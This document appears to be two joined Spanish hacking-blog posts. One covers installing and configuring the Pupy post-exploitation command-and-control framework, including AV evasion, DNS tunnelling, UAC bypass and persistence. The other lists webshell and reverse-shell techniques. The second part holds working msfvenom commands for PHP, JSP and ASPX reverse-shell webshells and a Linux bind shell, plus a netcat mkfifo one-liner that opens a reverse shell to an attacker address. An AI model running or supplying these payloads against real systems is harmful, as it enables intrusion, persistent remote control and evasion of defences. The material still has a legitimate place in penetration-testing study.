Pupy es una herramienta que está pensada principalmente para procesos de post-explotación en sistemas Linux, Windows y Android. Funciona como un entorno Command and Control (C&C) en donde el atacante tendrá un servicio ejecutándose en su máquina y podrá comunicarse con uno o varios sistemas comprometidos. Actualmente hay una buena cantidad de herramientas de éste estilo y aunque a simple vista no parece muy interesante, cuando se mira con detenimiento las características que soporta la cosa cambia. En primer lugar como se ha comentado antes, permite la generación de agentes en múltiples sistemas operativos lo que permite crear muestras especificas para el entorno que corresponda a la víctima. Además en el caso de sistemas basados en GNU/Linux y Windows soporta la misma técnica utilizada por Meterpreter a la hora de ejecutarse conocida como Reflective DLL Injection, la cual no es más de una rutina que se encarga de cargar las librerías y cualquier otra dependencia necesaria de forma dinámica sin escribir absolutamente nada en disco, lo que le permite “camuflarse” en el contexto de un proceso en ejecución y evitar la detección por parte de un AV.

Por si fuese poco, es capaz de importar remotamente (sin tocar el disco) el interprete completo de Python en el sistema comprometido y las librerías que hagan falta para la ejecución de scripts que permitan realizar labores de post-explotación. También cuenta con algunos scripts en bash para que la instalación de la herramienta se pueda ejecutar con Docker o docker-compose que se encuentran en el directorio raíz del proyecto, aunque se puede utilizar directamente el fichero “Dockerfile” y “docker-compose.yml” que se encuentran en el directorio <PUPY_INSTALL>/pupy/conf/. Si queréis saber un poco más sobre cómo construir imágenes con Docker y despliegue de microservicios con Docker-compose os recomiendo apuntaros al siguiente curso introductorio en Udemy.

El proceso de instalación es bastante simple y debería de funcionar en cualquier distribución basada en Linux sin ningún problema, ya que solamente es necesario ejecutar el script “install.sh” y éste se encargará de instalar todo lo necesario para ejecutar el componente servidor. Es una buena práctica ver qué hacen este tipo de programas cuando los descargas de cualquier sitio en Internet, espero que el lector no sea de los que se descarga un repositorio de GitHub y simplemente lanza el script “startup.sh” o “install.sh” sin ver qué acciones va a realizar sobre su sistema 🙂
En éste caso hace varias cosas que a lo mejor no resultan tan convenientes (dependiendo del sistema, claro). En primer lugar instala la dependencia “python-curl” la cual en sistemas basados en Debian descargará la librería para la versión de Python 2.7. Luego configura el repositorio de la última versión comunitaria de Docker disponible, habilita el servicio de Docker en el sistema para que se arranque de forma automática y posteriormente añade al usuario actual al grupo de “docker”. Posteriormente se descarga todas las plantillas y dependencias del repositorio de Github para los payloads de Pupy y finalmente, se descarga la imagen de Pupy del repositorio de DockerHub, solo la descarga sin crear un contenedor. Para poder utilizar Pupy hay tres alternativas. Crear un contenedor en Docker partiendo de la imagen que ha descargado el script “install.sh”, utiizar Docker-compose para crear el contenedor anteriormente indicado de forma automática o ejecutar el script “pupysh.py” el cual se encuentra ubicado en <PUPY_INSTALL>/pupy/

Cualquiera de los tres mecanismos es valido. Por simplicidad se puede ejecutar el comando “pupysh.py” después de haber instalado las dependencias incluidas en el fichero “requirements.txt” ubicado en el mismo directorio. Para ello se puede usar PIP teniendo en cuenta que Pupy funciona sobre Python 2.7.

Por defecto la configuración del servidor de Pupy se encuentra ubicada en <PUPY_INSTALL>/pupy/pupy.conf.default y en dicho fichero se controla todo el comportamiento del servidor aunque hay que tener en cuenta que cuando se ejecute el comando “pupysh.py” intentará abrir el puerto 443 y para ello evidentemente son necesarios privilegios de root, por lo tanto es probable que el lector prefiera cambiar éste puerto en el fichero de configuración.

Al ejecutar el comando “pupysh.py” desde una terminal se puede apreciar que el servidor web arranca en los puertos 9000 y 443. A partir de éste momento es posible interactuar con Pupy por medio de los comandos disponibles en el interprete que se acaba de habilitar. Sin embargo, de momento no se tiene ninguna víctima conectada por lo tanto es poco lo que se puede hacer ahora mismo. El siguiente paso consiste en generar un payload que deberá ser distribuido a una o varias víctimas las cuales serán controladas desde el interprete de Pupy. Para hacer esto existe un script que partiendo de una serie de argumentos genera un payload perfectamente funcional para diferentes distribuciones.

Generación de payloads en Pupy

Los payloads en Pupy se generan con el script “pupygen.py” ubicado en <PUPY_INSTALL>/pupy/ y admite varias opciones entre las que se incluyen el tipo de payload, sistema operativo de la víctima, host donde se encuentra el servidor de Pupy en ejecución y al que el payload se debe conectar, entre otras opciones interesantes. Cuando se ejecuta sin argumentos genera un ejecutable para Windows en una arquitectura x86. Dicho binario será guardado por defecto en <USER_DIR>/.conf/pupy/output

A continuación se crearán algunos payloads para Windows, Linux y Android, tal como se puede apreciar en la siguiente imagen.

La opción “-O” permite indicar el tipo de payload, “-A” la arquitectura y “-o” la ruta donde se guardará en payload. Todos estos parámetros son opcionales y tal como se ha mencionado unos párrafos más arriba si no se especifica ninguna generará por defecto un ejecutable para Windows con arquitectura x86.

Existen otras opciones de configuración que no se incluyen directamente en el comando, sino que es necesario editar el fichero de configuración “pupy.conf.default”. Por ejemplo, si el servidor de Pupy se encuentra en una máquina diferente a la que se está utilizando para generar el payload o en una IP concreta, es necesario editar la propiedad “address” que se encuentra en la sección [pupyd].

En dicho fichero de configuración hay varias características interesantes. A continuación se listarán solamente algunas.

– igd: Permite realizar peticiones IGD/UPNP para obtener la dirección IP externa y añadir los mapeos correspondientes a la IP que se encuentra en la red interna. Esto es útil especialmente cuando el servidor de Pupy se encuentra en una red domestica con salida a Internet por medio de un router y los clientes/víctimas provienen desde el exterior.

– dnscnc: Permite que Pupy funcione sobre DNS. En éste caso crea un túnel DNS para evadir restricciones entre la víctima y el servidor (DNS Command And Control). La configuración de dicho túnel se debe ajustar en la sección [dnscnc] ubicada un poco más abajo en el mismo fichero de configuración.

– [listeners]: Se trata de una sección en la que se establecen los puertos de los diferentes servicios que se levantarán en el servidor. Desde aquí se pueden cambiar dichos valores por defecto si es necesario.

– [webserver]: Como su nombre indica, es una sección en la que se define toda la configuración del servidor web que levanrá Pupy. Hay que tener en cuenta que por defecto utiliza Tornado, una librería en Python para crear clientes reactivos muy parecida a Twisted de la que ya en su día se comento en éste blog.

– [gen]: Es ésta sección se definen las opciones por defecto que tendrá la utilidad “pupygen” si falta alguno de los parámetros descritos anteriormente.

– [paths]: Rutas por defecto en las que se encontrarán ficheros de logs, plantillas, el directorio raíz del servidor web, etc.

– [on_connect]: Permite especificar los comandos que se van a ejecutar justo en el momento en el que se establezca una conexión entre el servidor y el zombie.

– [bypassuac]: Utiliza algunos de los métodos descritos en el proyecto WinPwange (https://github.com/rootm0s/WinPwnage) para llevar a cabo un bypass del UAC.

– [persistence]: Nuevamente se utiliza el proyecto WinPwange para ejecutar métodos para el establecimiento de backdoors en sistemas basados en Windows.

En el próximo post hablaré más sobre ésta herramienta y se explorará aún más las opciones disponibles, que no son pocas.

Un saludo y Happy Hack
Adastra.

Continuando con este listado de webshells, mencionaremos otras alternativas que pueden resultar útiles/interesantes en entornos concretos. Como siempre depende del vector de ataque empleado y de las características concretas del objetivo, por ese motivo es recomendable conocer múltiples opciones como las que se han descrito en las 2 entradas anteriores que podéis ver aquí y aquí.

11. python-pty-shells. (https://github.com/infodox/python-pty-shells)

Se trata de un conjunto de scripts que permiten establecer backdoors en el sistema comprometido basados en Python. Hay que tener en cuenta que en la mayoría de distribuciones basadas en GNU/Linux (por no decir que en todas) nos vamos a encontrar un interprete de Python instalado por lo tanto éste tipo de herramientas pueden ser muy útiles a la hora de establecer sesiones persistentes contra el sistema comprometido que soportan todas las características de una terminal TTY, es decir, la posibilidad de ejecutar comandos interactivos sin perder la conexión, como sí que ocurre con algunas webshells. Hay que tener en cuenta que se trata de un proyecto un poco antiguo y que solamente soporta Python 2.7, por lo tanto si se quiere utilizar Python 3.x en el sistema objetivo sería necesario instalar y ejecutar una herramienta como “2to3” para convertir dichos scripts a una versión compatible con Python 3.x. Por otro lado hace falta tener instalada la librería “PySCTP” ya que las shells disponibles en éste repositorio soportan protocolo TCP, SCTP y UDP. Como se puede ver en la siguiente imagen, se puede abrir una “bind shell” en una terminal y en otra establecer la conexión.

El script sctp_pty_bind.py permite crear una bindshell en el sistema comprometido en el puerto 31337 (se puede cambiar editando la variable “lport”). Mientras que el script sctp_pty_shell_handler.py permite establecer una conexión contra dicha bindshell utilizando protocolo SCTP. Cabe mencionar que el script sctp_pty_shell_handler.py también permite la creación de una reverse shell.

En este caso se utiliza el script sctp_pty_shell_handler.py para abrir el puerto en la máquina del atacante y luego, en la máquina de la víctima se ejecuta el script sctp_pty_backconnect.py para de esta forma recibir la shell.
Como mencionaba anteriormente, hay shells en TCP y UDP, os recomiendo que les echéis un vistazo también.

12. Msfvenom.

Tampoco podía faltar en éste listado la posibilidad de generar diferentes tipos de webshells con Msfvenom. Como muchos de los lectores de este blog sabrán, se trata de una utilidad que se encuentra incluida en Metasploit Framework y se encarga de generar muestras de payloads en diferentes formatos. De esta forma es posible seleccionar un payload existente en el framework e indicarle a Msfvenom que lo inyecte en un fichero PHP, JSP, Python o incluso en binarios para plataformas Windows, Linux o APKs para Android. Algunas de las webshell que se pueden crear son las siguientes:

PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.php

JAVA
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war

ASP/ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f aspx -o shell.aspx

13. Tunna. (https://github.com/SECFORCE/Tunna)

Otro proyecto que me resulta muy interesante. Más que una simple webshell se trata de un conjunto de herramientas que sirven para túneles HTTP entre una víctima y atacante aunque existan mecanismos de seguridad en medio, como por ejemplo un Firewall. Esta diseñado precisamente para evadir restricciones relacionadas con entornos en los que no es posible realizar conexiones de forma arbitraria contra cualquier puerto.
El funcionamiento de Tunna se resume en los siguientes pasos:
1. El atacante debe tener la posibilidad de subir una webshell de cualquiera de los tipos disponibles en Tunna, ASPX, JSP o PHP.
2. El atacante debe tener la posibilidad de subir una bindshell (generada con metasploit, por ejemplo) a la cual, evidentemente no será posible acceder directamente debido a restricciones de un firewall en el entorno de la víctima.
3. El atacante utiliza Tunna para conectarse a la webshell subida en el paso 1 y posteriormente, establece el puerto local en la máquina del atacante y el puerto de la bindshell. Tunna se encargará de crear un túnel HTTP entre ambos puertos, utilizando la webshell que se ha subido anteriormente como punto canal de transmisión.

Se verá ahora estos puntos en detalle:
1. Dependiendo de la plataforma, se debe subir la webshell adecuada. En el directorio “webshells” del proyecto se pueden ver 3 ficheros: conn.aspx, conn.jsp y conn.php. En este caso concreto, se subirá el fichero “conn.php” a un servidor web Apache con soporte para PHP.
2. A continuación, se va a crear una bindshell para Linux, la cual se moverá junto con el fichero “conn.php” al servidor comprometido.

msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=192.168.1.60 LPORT=4443 -f elf -o bindshell

En éste caso, evidentemente la propiedad RHOST tiene el valor correspondiente a la IP del servidor comprometido.
3. Finalmente Se crea el túnel HTTP utilizando Tunna.

En este caso el túnel se abrirá en la máquina del atacante en el puerto “8990” y todas las peticiones entrantes por ese puerto van a ser enrutadas por Tunna utilizando el túnel HTTP, el cual permitirá establecer la conexión con la bindshell en la máquina comprometida, la cual estará en estado de escucha en el puerto “4443”.

14. WebDelivery de Metasploit.

Se trata de una alternativa que puede venir bien a la hora de generar una sesión contra la máquina comprometida cuando ya se ha detectado un punto de inyección valido (RCE, Command Injection, sesión RDP/SSH o File Upload). Una de las ventajas que tiene éste mecanismo de Metasploit es que no escribe nada en disco, con lo cual es muy probable que permita la evasión de mecanismos de seguridad en el sistema comprometido, además por defecto levanta un servidor web en local (máquina del atacante) para recibir la conexión.

El payload por defecto está basado en Python pero es bastante versatil y soporta otros tipos de payloads basados en PHP, ASP o en formatos binarios. En el momento en el que se ejecuta el comando “exploit” el modulo levanta el servidor en la IP y puerto especificados y a continuación enseña un comando que debe ejecutarse en la víctima. Evidentemente, una vez se ejecuta dicho comando en la máquina comprometida, se obtiene una sesión en la máquina del atacante.

15. netcat (otra vez) pero sin soporte a “-e”.

Volviendo a Netcat, tal como se ha comentado en la primera parte de ésta serie aunque la versión instalada en la máquina de la víctima no cuente con la opción “-e” aún es posible vincular una shell y crear conexiones del tipo “bind” o “reverse”. Para ello es necesario crear una pipe con “mkfifo” y a continuación vincularla con el puerto de netcat y una shell. Por ejemplo:

mkfifo /tmp/test_revshell; nc -vv 192.168.1.116 8889 0</tmp/test_revshell | /bin/bash > /tmp/test_revshell 2>&1
Ejecutando el comando anterior será suficiente para crear una reverse shell con netcat sin utilizar “-e”.

Esto mismo también es posible generarlo con “msfvenom” y el payload “cmd/unix/reverse_netcat”.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.60 lport=8889 R

Creo que ha quedado un listado bastante completo pero si conoces alguna otra webshell interesante o curiosa, no dudes en compartirla escribiendo un comentario.

Un saludo y Happy Hack.
Adastra.